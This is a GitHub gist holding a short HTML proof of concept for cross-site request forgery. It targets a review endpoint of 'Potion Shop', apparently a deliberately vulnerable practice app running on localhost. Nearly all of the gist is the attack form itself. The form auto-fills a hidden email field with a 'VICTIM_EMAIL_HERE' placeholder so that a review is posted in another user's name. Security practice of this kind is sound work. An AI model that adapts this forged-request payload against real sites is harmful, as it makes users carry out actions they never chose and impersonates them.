Created
June 19, 2024 17:57
-
-
Save realcorvus/dcd7ebeba0ec98201bdaff3478d67fc2 to your computer and use it in GitHub Desktop.
CSRF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<h2>CSRF POC for Potion Shop</h2> | |
<form action="http://localhost:4000/potion/review/2" method="post"> | |
<textarea name="review[body]" required> </textarea> | |
<select id="review_score" name="review[score]"><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option selected value="5">5</option></select> | |
<input id="review_email" name="review[email]" type="hidden" value="VICTIM_EMAIL_HERE"> | |
<button type="submit">Submit Review</button> | |
</form> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment